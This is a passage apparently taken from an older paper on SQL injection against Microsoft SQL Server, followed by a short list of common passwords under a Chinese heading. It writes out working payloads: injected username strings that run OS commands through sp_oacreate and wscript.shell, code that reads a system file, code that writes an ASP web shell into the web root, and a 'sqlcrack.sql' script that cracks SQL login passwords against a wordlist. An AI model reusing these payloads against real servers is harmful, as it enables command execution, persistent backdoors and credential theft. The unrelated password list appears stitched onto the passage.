-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
It could be run in our sample scenario by specifying the following username (all on one line):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2) This example uses the 'scripting.filesystemobject' object to read a known text file:
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:/boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3) This example creates an ASP script that will run any command passed to it in the querystring:
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:/inetpub/wwwroot/foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell": o.run( request.querystring("cmd" ) %>'
It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run as the low-privileged IWAM_xxx account.
4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak: Page 16
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
This could of course be run in our example scenario, by specifying the following 'username' (note that the example is not only injecting a script, but simultaneously logging in to the application as 'admin'):
Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--

　　常用密码和相关语句：
password
sqlserver
sql
admin
sesame
sa
guest
Here is the script:
(sqlcrack.sql)
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:/temp/passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords
